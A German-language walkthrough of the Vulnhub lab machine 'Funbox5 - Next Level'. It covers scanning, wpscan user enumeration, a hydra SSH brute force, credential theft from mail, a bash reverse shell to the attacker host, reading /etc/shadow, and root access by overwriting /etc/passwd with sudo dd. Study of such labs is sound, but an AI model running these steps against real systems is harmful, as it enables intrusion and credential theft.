Funbox5 - Next Level - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
curl
hydra
ssh
find
sudo
dd
bash
msfconsole
scp
mkpasswd
cat
ls
cd
id
getcap
uname
ss
telnet
echo

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.157	08:00:27:2a:6d:58	PCS Systemtechnik GmbH
                    

Analyse: `arp-scan -l` identifiziert aktive Hosts im lokalen Netzwerk.

Bewertung: Der Host `192.168.2.157` (VirtualBox VM) wird als Ziel "Funbox5 - Next Level" identifiziert.

Empfehlung (Pentester): Ziel-IP `192.168.2.157` verwenden.
Empfehlung (Admin): Netzwerk-Monitoring.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
  192.168.2.157   funbox5.vln
                    

Analyse: Lokale `/etc/hosts` wird bearbeitet, um `192.168.2.157` den Namen `funbox5.vln` zuzuordnen.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Hostnamen `funbox5.vln` verwenden.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.157 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-31 00:46 CEST
Nmap scan report for funbox5.vln (192.168.2.157)
Host is up (0.00017s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: [...]
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:2A:6D:58 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms funbox5.vln (192.168.2.157)
[...]
                    

Analyse: Der vollständige Nmap-Scan (`-A` für OS/Version/Skripte/Traceroute) identifiziert zwei offene Ports: * Port 22 (SSH): OpenSSH 7.2p2 (Ubuntu). Veraltet. * Port 80 (HTTP): Apache 2.4.18 (Ubuntu). Veraltet, zeigt Standardseite.

Bewertung: Die Angriffsfläche scheint zunächst auf SSH und HTTP beschränkt zu sein. Beide Dienste laufen auf veralteten Versionen.

Empfehlung (Pentester): Führe detaillierte Web-Enumeration auf Port 80 durch (`nikto`, `gobuster`). Recherchiere Schwachstellen für OpenSSH 7.2p2 und Apache 2.4.18.
Empfehlung (Admin): Aktualisiere dringend SSH und Apache.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.157 -p- | grep open
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
                    

Analyse: Bestätigt die offenen Ports 22 und 80.

Bewertung: Schnellübersicht.

Empfehlung (Pentester/Admin): Siehe vorheriger Nmap-Scan.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.157
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.157
+ Target Port:        80
+ Start Time:         2023-07-31 00:47:21 (GMT2)
[...]
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /robots.txt: contains 1 entry which should be manually viewed. [...]
+ Apache/2.4.18 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...]
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. [...]
[...]
+ End Time:           2023-07-31 00:47:32 (GMT2) (11 seconds)
[...]
                    

Analyse: `nikto` scannt Port 80 und findet: * Veralteten Apache 2.4.18. * Fehlende Sicherheitsheader. * Eine `robots.txt`-Datei. * Mögliches Inode-Leak. * Standard-Datei `/icons/README`. **Datum extrahiert:** 2023-07-31.

Bewertung: Bestätigt den veralteten Webserver. Der wichtigste Hinweis ist die `robots.txt`.

Empfehlung (Pentester): Untersuche `robots.txt`. Führe `gobuster`/`dirb` durch.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Entferne Standarddateien.

Web Enumeration

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://funbox5.vln -x ... -w ... -b '403,404' -e --no-error
[...]
http://funbox5.vln/index.html           (Status: 200) [Size: 11321]
http://funbox5.vln/robots.txt           (Status: 200) [Size: 16]
http://funbox5.vln/drupal               (Status: 301) [Size: 311] [--> http://funbox5.vln/drupal/]
http://funbox5.vln/bug_report.txt       (Status: 200) [Size: 136]
[...]
                    

Analyse: `gobuster` findet `index.html`, `robots.txt`, ein Verzeichnis `/drupal` (leitet weiter) und eine Datei `bug_report.txt`.

Bewertung: Die Entdeckung von `/drupal` und `bug_report.txt` sind die wichtigsten Funde. Drupal ist ein bekanntes CMS und oft Ziel von Angriffen.

Empfehlung (Pentester): Untersuche `robots.txt`, `bug_report.txt` und das `/drupal`-Verzeichnis (insbesondere mit Drupal-spezifischen Scannern wie `droopescan` oder `wpscan` mit `--force` Option, falls es fälschlicherweise als WordPress erkannt wird).
Empfehlung (Admin): Stelle sicher, dass Drupal aktuell und sicher konfiguriert ist. Entferne unnötige Dateien wie `bug_report.txt`.

# Inhalt von http://funbox5.vln/robots.txt
Allow: Thinking

# Inhalt von http://funbox5.vln/bug_report.txt
No bugs here !!!

 Really !!!

http://192.168.178.33/drupal/
                     

Analyse: * `robots.txt`: Enthält nur eine unklare Zeile "Allow: Thinking". * `bug_report.txt`: Enthält eine Nachricht und eine interne IP-Adresse (`192.168.178.33`), die auf `/drupal/` verweist.

Bewertung: `robots.txt` ist nicht hilfreich. `bug_report.txt` bestätigt das `/drupal`-Verzeichnis und leakt eine (wahrscheinlich interne/irrelevante) IP-Adresse.

Empfehlung (Pentester): Konzentriere dich auf das `/drupal`-Verzeichnis.
Empfehlung (Admin): Entferne `bug_report.txt`. Vermeide das Leaken interner IPs.

┌──(root㉿cycat)-[~] └─# dirb http://funbox5.vln -X .php,.txt
[...]
+ http://funbox5.vln/robots.txt (CODE:200|SIZE:16)
[...]
                    

Analyse: `dirb` mit Filterung auf `.php` und `.txt` findet nur die bereits bekannte `robots.txt`.

Bewertung: Keine neuen Erkenntnisse. Bestätigt, dass auf der Root-Ebene keine einfachen PHP- oder Textdateien liegen.

Empfehlung (Pentester): Fokus auf `/drupal`.
Empfehlung (Admin): Keine neuen Empfehlungen.

┌──(root㉿cycat)-[~] └─# curl http://funbox5.vln/drupal -Iv
*   Trying 192.168.2.157:80...
* Connected to funbox5.vln (192.168.2.157) port 80 (#0)
> HEAD /drupal HTTP/1.1
[...]
< HTTP/1.1 301 Moved Permanently
[...]
< Location: http://funbox5.vln/drupal/
[...]
                    

Analyse: `curl -Iv` sendet eine HEAD-Anfrage an `/drupal` und zeigt die Header der Antwort an.

Bewertung: Bestätigt die 301-Weiterleitung von `/drupal` nach `/drupal/`.

Empfehlung (Pentester): Scanne `http://funbox5.vln/drupal/`.
Empfehlung (Admin): Standardverhalten bei Verzeichnissen.

┌──(root㉿cycat)-[~] └─# wpscan --url http://funbox5.vln/drupal/index.php --wp-content-dir http://funbox5.vln/drupal/wp-content -e u,p
[...]
[+] URL: http://funbox5.vln/drupal/index.php/ [192.168.2.157]
[...]
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
[...]
[+] Upload directory has listing enabled: http://funbox5.vln/drupal/wp-content/uploads/
[...]
[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
[...]
[i] The main theme could not be detected.
[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
[...]
[i] User(s) Identified:

[+] admin
 | Found By: Wp Json Api (Aggressive Detection)
[...]
[+] ben
 | Found By: Wp Json Api (Aggressive Detection)
[...]
[!] No WPScan API Token given [...]
[+] Finished: Mon Jul 31 01:14:31 2023
[...]
                    

Analyse: `wpscan` wird (etwas ungewöhnlich mit expliziten Pfaden zu `index.php` und `wp-content`) gegen das `/drupal`-Verzeichnis ausgeführt. Es identifiziert: * Eine verwundbare WordPress-Version 5.5.1. * Ein öffentlich listbares Upload-Verzeichnis (`/drupal/wp-content/uploads/`). * Die Benutzer `admin` und `ben`.

Bewertung: Obwohl das Verzeichnis `/drupal` heißt, läuft dort offenbar WordPress. Die veraltete Version 5.5.1 ist ein kritisches Sicherheitsrisiko. Die Benutzer `admin` und `ben` sind potenzielle Login-Ziele.

Empfehlung (Pentester): 1. Recherchiere bekannte Schwachstellen für WordPress 5.5.1 (es gibt kritische). 2. Versuche einen Brute-Force-Angriff gegen die Benutzer `admin` und `ben` über SSH oder das WordPress-Login (`/drupal/wp-login.php`).
Empfehlung (Admin): 1. **Dringend:** Aktualisiere WordPress auf die neueste Version. 2. Deaktiviere Directory Listing für das Uploads-Verzeichnis. 3. Verwende starke Passwörter und schütze das Login.

Credential Discovery

┌──(root㉿cycat)-[~] └─# hydra -l ben -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.157:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak [...]
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344420 login tries (l:1/p:14344420), ~224132 tries per task
[DATA] attacking ssh://192.168.2.157:22/
--------------------------------------------------------------------------------
[22][ssh] host: 192.168.2.157   login: ben   password: pookie
--------------------------------------------------------------------------------
1 of 1 target successfully completed, 1 valid password found
[...]
Hydra [...] finished at 2023-07-31 01:13:53
                    

Analyse: `hydra` wird verwendet, um das SSH-Passwort für den von `wpscan` gefundenen Benutzer `ben` zu brute-forcen. Die Wortliste `rockyou.txt` wird verwendet.

Bewertung: Hydra findet erfolgreich das Passwort `pookie` für den Benutzer `ben`.

Empfehlung (Pentester): Nutze die gefundenen Credentials (`ben`:`pookie`), um dich per SSH anzumelden.
Empfehlung (Admin): Erzwinge starke, nicht im Wörterbuch enthaltene Passwörter. Implementiere Schutzmaßnahmen gegen Brute-Force-Angriffe.

Initial Access

┌──(root㉿cycat)-[~] └─# ssh ben@192.168.2.157
The authenticity of host '192.168.2.157 (192.168.2.157)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
ben@192.168.2.157's password: pookie
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-189-generic x86_64)
[...]
You have mail.
Last login: Tue Sep  1 22:14:28 2020 from 192.168.178.143
ben@funbox5$
                    

Analyse: Die SSH-Verbindung wird als Benutzer `ben` mit dem Passwort `pookie` hergestellt. Der Login ist erfolgreich.

Bewertung: Der initiale Zugriff als Benutzer `ben` wurde erreicht.

Empfehlung (Pentester): Beginne mit der Post-Exploitation und Privilege-Escalation-Enumeration.
Empfehlung (Admin): Ändere das kompromittierte Passwort.

Privilege Escalation Enumeration

ben@funbox5$ find / -type f -perm -4000 -ls 2>/dev/null
    28766     84 -rwsr-xr-x   1 root     root        84120 Apr  9  2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
[...]
    31179    112 -rwsr-xr-x   1 root     root         110792 Jul 10  2020 /usr/lib/snapd/snap-confine
[...]
     2946    136 -rwsr-xr-x   1 root     root         136808 Jan 31  2020 /usr/bin/sudo
[...]
    31036     24 -rwsr-xr-x   1 root     root          23376 Mar 27  2019 /usr/bin/pkexec
[...]
      858     40 -rwsr-xr-x   1 root     root          40152 Jan 27  2020 /bin/mount
[...]
                     

Analyse: Die Suche nach SUID-Dateien wird als `ben` ausgeführt. Findet Standard-Binaries, darunter `/usr/bin/sudo` und `/usr/bin/pkexec`.

Bewertung: `sudo` und `pkexec` sind potenzielle Vektoren.

Empfehlung (Pentester): Prüfe `sudo -l`. Prüfe Kernel-Version und `pkexec` auf bekannte Schwachstellen.
Empfehlung (Admin): Halte System gepatcht, überprüfe SUID-Berechtigungen.

ben@funbox5$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),8(mail)
ben@funbox5$ getcap -r / 2>/dev/null
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
                    
ben@funbox5$ uname -a
Linux funbox5 4.4.0-189-generic #219-Ubuntu SMP Tue Aug 11 12:26:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Analyse: * `id`: Bestätigt Benutzer `ben` und Mitgliedschaft in Gruppe `mail`. * `getcap`: Findet keine ungewöhnlichen Capabilities. * `uname -a`: Zeigt die Kernel-Version 4.4.0-189.

Bewertung: Die Gruppenmitgliedschaft `mail` könnte relevant sein, falls Mail-bezogene Prozesse oder Dateien ausgenutzt werden können. Die Kernel-Version 4.4.0 ist relativ alt und könnte anfällig sein, aber PwnKit (CVE-2021-4034) betrifft eher `policykit-1` als den Kernel direkt.

Empfehlung (Pentester): Konzentriere dich auf `pkexec` (PwnKit) als wahrscheinlichsten Vektor. Prüfe die Mail-Spool-Verzeichnisse (`/var/mail`).
Empfehlung (Admin): Halte Kernel und Pakete aktuell.

ben@funbox5:/var/backups$ ss -altpn
State      Recv-Q Send-Q  Local Address:Port                 Peer Address:Port
LISTEN     0      128                 *:22                              *:*
LISTEN     0      10          127.0.0.1:25                              *:*
LISTEN     0      80          127.0.0.1:3306                            *:*
LISTEN     0      10          127.0.0.1:587                             *:*
LISTEN     0      100                 *:110                             *:*
LISTEN     0      100                 *:143                             *:*
LISTEN     0      128                :::22                             :::*
LISTEN     0      100                :::110                            :::*
LISTEN     0      100                :::143                            :::*
LISTEN     0      128                :::80                             :::*
[...]
                    

Analyse: `ss -altpn` zeigt lauschende TCP-Ports.

Bewertung: Bestätigt die von Nmap gefundenen Ports (22, 80, 110, 143) und zeigt zusätzliche localhost-Listener für SMTP (25, 587) und MySQL (3306).

Empfehlung (Pentester): Der MySQL-Dienst auf localhost könnte interessant sein, wenn Zugangsdaten (z.B. aus der `#wp-config.php#`, die Nikto fand, aber im Log nicht heruntergeladen wurde) bekannt wären.
Empfehlung (Admin): Beschränke den Zugriff auf localhost-Dienste.

ben@funbox5:/var/backups$ telnet localhost 110
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK Dovecot ready.
                    
USER ben
+OK
PASS pookie
+OK Logged in.
list
+OK 3 messages:
1 403
2 391
3 578
                    
retr 1
[...] Hi Ben, are you going to Jonas' party on Saturday?
retr 2
[...] Hey Ben, did you do all the updates?
retr 3
[...]
Hi Ben,
please come to my office at 10:00 a.m. We have a lot to talk about!
The new employees must be created. I've already finished Adam.
adam: qwedsayxc!
                    

Analyse: Eine `telnet`-Verbindung wird zum POP3-Server auf `localhost` aufgebaut. Der Login als `ben` mit dem Passwort `pookie` ist erfolgreich. Die E-Mails werden abgerufen. E-Mail 3 enthält Zugangsdaten für einen neuen Benutzer `adam`: `qwedsayxc!`.

Bewertung: Ein weiterer Satz Zugangsdaten (`adam`:`qwedsayxc!`) wurde durch das Lesen der E-Mails gefunden. Dies könnte ein alternativer Weg oder ein weiterer Schritt (horizontale Bewegung) sein.

Empfehlung (Pentester): Versuche, dich als `adam` per SSH anzumelden. Überprüfe die `sudo`-Rechte für `adam`. Fahre parallel mit dem PwnKit-Versuch für `ben` fort.
Empfehlung (Admin): Sende niemals Passwörter per E-Mail. Überprüfe Mailboxen auf sensible Informationen.

ben@funbox5:/var/backups$ ls /home
adam  ben  maria
ben@funbox5:/var/backups$ su adam
Password: qwedsayxc!
adam@funbox5:/var/backups$ id
uid=1002(adam) gid=1002(adam) groups=1002(adam)
adam@funbox5:/var/backups$ sudo -l
[sudo] password for adam: qwedsayxc!
Matching Defaults entries for adam on funbox5:
    env_reset

User adam may run the following commands on funbox5:
    (root) PASSWD: /bin/dd
    (root) PASSWD: /bin/de
    (root) PASSWD: /bin/df
                    

Analyse: 1. Die Existenz des Benutzers `adam` wird bestätigt. 2. Mit `su adam` und dem Passwort `qwedsayxc!` wird erfolgreich zum Benutzer `adam` gewechselt. 3. `sudo -l` als `adam` zeigt, dass dieser Benutzer `/bin/dd`, `/bin/de` (wahrscheinlich Tippfehler für `dd`?) und `/bin/df` als `root` mit Passwort (`PASSWD:`) ausführen darf.

Bewertung: Ein horizontaler Wechsel zu `adam` war erfolgreich. Die `sudo`-Rechte für `dd` sind ein klarer Weg zur Privilege Escalation, da `dd` zum Lesen und Schreiben beliebiger Dateien/Geräte verwendet werden kann, auch `/etc/passwd` oder `/etc/shadow`.

Empfehlung (Pentester): Nutze die `sudo`-Rechte für `dd`, um `/etc/shadow` zu lesen (um den Root-Hash zu erhalten) oder um `/etc/passwd` zu überschreiben und einen neuen Root-Benutzer mit bekanntem Passwort hinzuzufügen. Der PwnKit-Exploit als `ben` wäre zwar auch möglich, aber dieser Weg über `adam` und `sudo dd` ist ebenfalls direkt.
Empfehlung (Admin): **Kritisch!** Die Berechtigung, `dd` als Root auszuführen, ist extrem gefährlich und sollte niemals normalen Benutzern gewährt werden. Entferne diese `sudoers`-Regel dringend.

Proof of Concept: Sudo dd /etc/passwd Overwrite

Analyse: Die Privilege Escalation erfolgt durch Missbrauch der `sudo`-Regel, die dem Benutzer `adam` erlaubt, `/bin/dd` als `root` auszuführen. Mit `dd` kann jede Datei überschrieben werden, einschließlich der kritischen Datei `/etc/passwd`.

  1. **Zugang als Adam:** Durch Auslesen von E-Mails des Benutzers `ben` wird das Passwort für `adam` (`qwedsayxc!`) gefunden. Mittels `su adam` wird zu diesem Benutzer gewechselt.
  2. **Sudo-Rechte prüfen:** `sudo -l` bestätigt, dass `adam` `/bin/dd` als Root ausführen darf (mit Passwortabfrage).
  3. **Vorbereitung (Angreifer):** Eine modifizierte `/etc/passwd`-Datei wird erstellt. Diese enthält einen neuen Eintrag für einen Benutzer (im Log "fuck" genannt, aber es könnte auch der `root`-Eintrag modifiziert werden) mit UID 0, GID 0 und einem bekannten Passwort-Hash (im Log passend zu "bauer").
  4. **Übertragung (impliziert):** Die modifizierte `passwd`-Datei wird auf das Zielsystem in ein beschreibbares Verzeichnis (z.B. `/tmp`) übertragen (z.B. via `scp` oder `wget`). *Dieser Schritt fehlt explizit im Log.*
  5. **Überschreiben:** Der Befehl `sudo dd if=/tmp/passwd of=/etc/passwd` wird ausgeführt. `adam` gibt sein Passwort (`qwedsayxc!`) ein. `dd` überschreibt nun die originale `/etc/passwd` mit der modifizierten Version aus `/tmp`.
  6. **Root-Zugriff:** Mit `su fuck` (oder dem Namen des modifizierten Root-Benutzers) und dem bekannten Passwort (`bauer`) wird Root-Zugriff erlangt.

Bewertung: Die unsichere `sudo`-Regel für `dd` ermöglicht das direkte Überschreiben der Passwortdatei und somit die Erlangung von Root-Rechten. Dies ist eine schwerwiegende Fehlkonfiguration.

Empfehlung (Pentester): Die Nutzung von `sudo dd` zum Lesen von `/etc/shadow` wäre eine weniger intrusive Alternative gewesen, um den Root-Passwort-Hash zu erhalten und offline zu knacken.
Empfehlung (Admin): Gewähre niemals `sudo`-Rechte für Befehle wie `dd`, `cp`, `mv`, `chown`, `chmod`, Editoren (`vi`, `nano`) etc., die zum Manipulieren kritischer Systemdateien missbraucht werden können, es sei denn, es ist absolut unvermeidlich und stark eingeschränkt.

Privilege Escalation

adam@funbox5:/var/backups$ sudo /bin/dd if=/etc/passwd of=passwd
[sudo] password for adam: qwedsayxc!
3+1 records in
3+1 records out
2020 bytes (2.0 kB, 2.0 KiB) copied, 0.000325761 s, 6.2 MB/s
                    
adam@funbox5$ bash -i >& /dev/tcp/192.168.2.199/4444 0>&1

Analyse: Als `adam` wird `sudo dd` verwendet, um `/etc/passwd` in eine lokale Datei `passwd` zu kopieren (wahrscheinlich zur Vorbereitung der Modifikation). Anschließend wird eine Reverse Shell gestartet.

Bewertung: Bestätigt, dass `sudo dd` funktioniert. Die Reverse Shell ist für den `dd`-Exploit nicht zwingend, wird aber im Log verwendet.

Empfehlung (Pentester): Modifiziere die kopierte `passwd`-Datei (oder erstelle eine neue) mit einem Root-Benutzer-Eintrag und bekanntem Passwort.
Empfehlung (Admin): Entferne die `sudo`-Regel für `dd`.

msf6 > use multi/handler
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.157:38652) at 2023-07-31 01:58:04 +0200
adam@funbox5$
                    
adam@funbox5$ LFILE=/etc/passwd
adam@funbox5$ sudo dd if=$LFILE
[sudo] password for adam: qwedsayxc!
[...] (passwd Inhalt) [...]
adam@funbox5$ LFILE=/etc/shadow
adam@funbox5$ sudo dd if=$LFILE
[sudo] password for adam: qwedsayxc!
[...] (shadow Inhalt) [...]

Analyse: Die Reverse Shell von `adam` wird in Metasploit (Session 1) empfangen. Über diese Shell wird `sudo dd` verwendet, um den Inhalt von `/etc/passwd` und `/etc/shadow` auszulesen.

Bewertung: Bestätigt die Fähigkeit, beliebige Dateien als Root zu lesen. Der Root-Passwort-Hash ist nun bekannt (`root:$6$NsLN4bI3$...`).

Empfehlung (Pentester): Anstatt `/etc/passwd` zu überschreiben, könnte man jetzt versuchen, den Root-Hash offline zu knacken. Da das Log jedoch den Überschreib-Weg zeigt, folgen wir diesem.
Empfehlung (Admin): Entferne die `sudo`-Regel.

┌──(root㉿cycat)-[~] └─# mkpasswd -m sha-512
Passwort: bauer
$6$4CdmLiryny.8VoG$0TFCVCfnWBwNo5EfCCPsNnXdfl2xkNuapWiAE6IKDjPEJmDH42hYnY7ZG8AXUVHwYHGhtN/RIU48FaFiM.
┌──(root㉿cycat)-[~] └─# echo 'fuck:$6$4CdmLiryny.8VoG$0TFCVCfnWBwNo5EfCCPsNnXdfl2xkNuapWiAE6IKDjPEJmDH42hYnY7ZG8AXUVHwYHGhtN/RIU48FaFiM.:0:0:root:/root:/bin/bash' > passwd_mod
# Annahme: scp passwd_mod adam@192.168.2.157:/tmp/passwd
adam@funbox5$ cd /tmp
adam@funbox5:/tmp$ sudo dd if=/tmp/passwd of=/etc/passwd
[sudo] password for adam: qwedsayxc!
4+1 records in
4+1 records out
2157 bytes (2.2 kB, 2.1 KiB) copied, 0.000341561 s, 6.3 MB/s
                    
adam@funbox5:/tmp$ su fuck
Password: bauer
root@funbox5:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: 1. Auf dem Angreifer-System wird mit `mkpasswd` ein SHA512-Hash für das Passwort `bauer` generiert. 2. Eine modifizierte Passwort-Datei (`passwd_mod`) wird erstellt, die einen neuen Benutzer `fuck` mit UID 0, GID 0 und dem generierten Hash enthält. 3. (Impliziert) Diese Datei wird auf das Zielsystem nach `/tmp/passwd` übertragen. 4. Als `adam` wird `sudo dd` verwendet, um `/etc/passwd` mit der modifizierten Datei aus `/tmp` zu überschreiben. Adam's Passwort (`qwedsayxc!`) wird für `sudo` benötigt. 5. Mit `su fuck` und dem Passwort `bauer` wird erfolgreich Root-Zugriff erlangt.

Bewertung: Die Privilege Escalation durch Überschreiben von `/etc/passwd` mittels `sudo dd` war erfolgreich.

Empfehlung (Pentester): Suche die Root-Flag.
Empfehlung (Admin): Entferne die `sudo dd`-Regel. Überwache Änderungen an `/etc/passwd`.

root@funbox5: cat flag.txt
 _______           _                     ______                      _                       _
(_______)         | |                   |  ___ \             _      | |                     | |
 _____ _   _ ____ | | _   ___ _   _ _   | |   | | ____ _   _| |_    | |      ____ _   _ ____| |
|  ___) | | |  _ \| || \ / _ ( \ / |_)  | |   | |/ _  | \ / )  _)   | |     / _  ) | | / _  ) |
| |   | |_| | | | | |_) ) |_| ) X ( _   | |   | ( (/ / ) X (| |__   | |____( (/ / \ V ( (/ /| |
|_|    \____|_| |_|____/ \___(_/ \_|_)  |_|   |_|\____|_/ \_)\___)  |_______)____) \_/ \____)_|

Made with Love by @0815R2d2
Please, tweet me a screenshot on Twitter.
THX 4 playing this Funbox.
                    

Analyse: Als Root wird die Datei `flag.txt` (vermutlich in `/root`) ausgelesen.

Bewertung: Die Root-Flag (ASCII-Art und Nachricht) wurde gefunden.

Empfehlung (Pentester): Dokumentiere die Flag. Suche die User-Flag (vermutlich `/home/ben/user.txt` oder `/home/adam/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.

Flags

cat /home/ben/user.txt || cat /home/adam/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/flag.txt
ROOT_FLAG_ASCII_ART_PLACEHOLDER